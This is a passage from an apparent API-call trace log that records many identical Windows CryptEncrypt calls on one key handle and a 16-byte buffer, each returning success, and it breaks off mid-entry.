[0163.090] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.091] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.091] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.091] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.091] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.091] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.091] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.091] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.091] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.091] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.091] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.091] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.091] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.091] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.091] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.091] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.091] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.091] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.091] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.091] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.091] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.091] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.091] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.092] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.092] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.092] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.092] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.092] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.092] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.092] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.092] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.092] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.092] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.092] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.092] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.092] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.092] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.092] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.092] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.092] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.092] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.092] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.092] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.092] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.092] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.093] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.093] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.093] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.093] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.093] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.093] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.093] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.093] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.093] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.093] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.093] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.093] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.093] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.093] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.093] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.093] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.093] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.093] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.093] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.093] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.093] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.094] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.094] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.094] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.094] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.094] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.094] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.094] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.094] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.094] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.104] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.104] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.104] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.104] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.104] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.104] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.104] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.104] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.104] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.104] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.104] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.104] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.104] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.104] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.104] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.104] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.104] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.104] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.104] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.105] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.105] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.105] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.105] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.105] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.105] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.105] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.105] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.105] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.105] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.105] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.105] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.105] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.105] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, 